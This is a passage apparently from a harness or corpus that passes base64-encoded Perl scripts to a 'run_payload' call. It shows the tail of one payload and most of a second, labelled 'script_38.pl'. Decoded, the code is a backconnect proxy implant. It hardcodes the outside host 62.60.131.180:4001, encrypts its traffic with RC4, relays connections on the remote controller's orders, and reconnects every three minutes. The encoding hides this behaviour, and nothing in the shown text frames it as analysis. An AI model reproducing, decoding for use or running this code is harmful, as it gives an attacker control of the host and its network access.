ywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_38.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTgwJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJC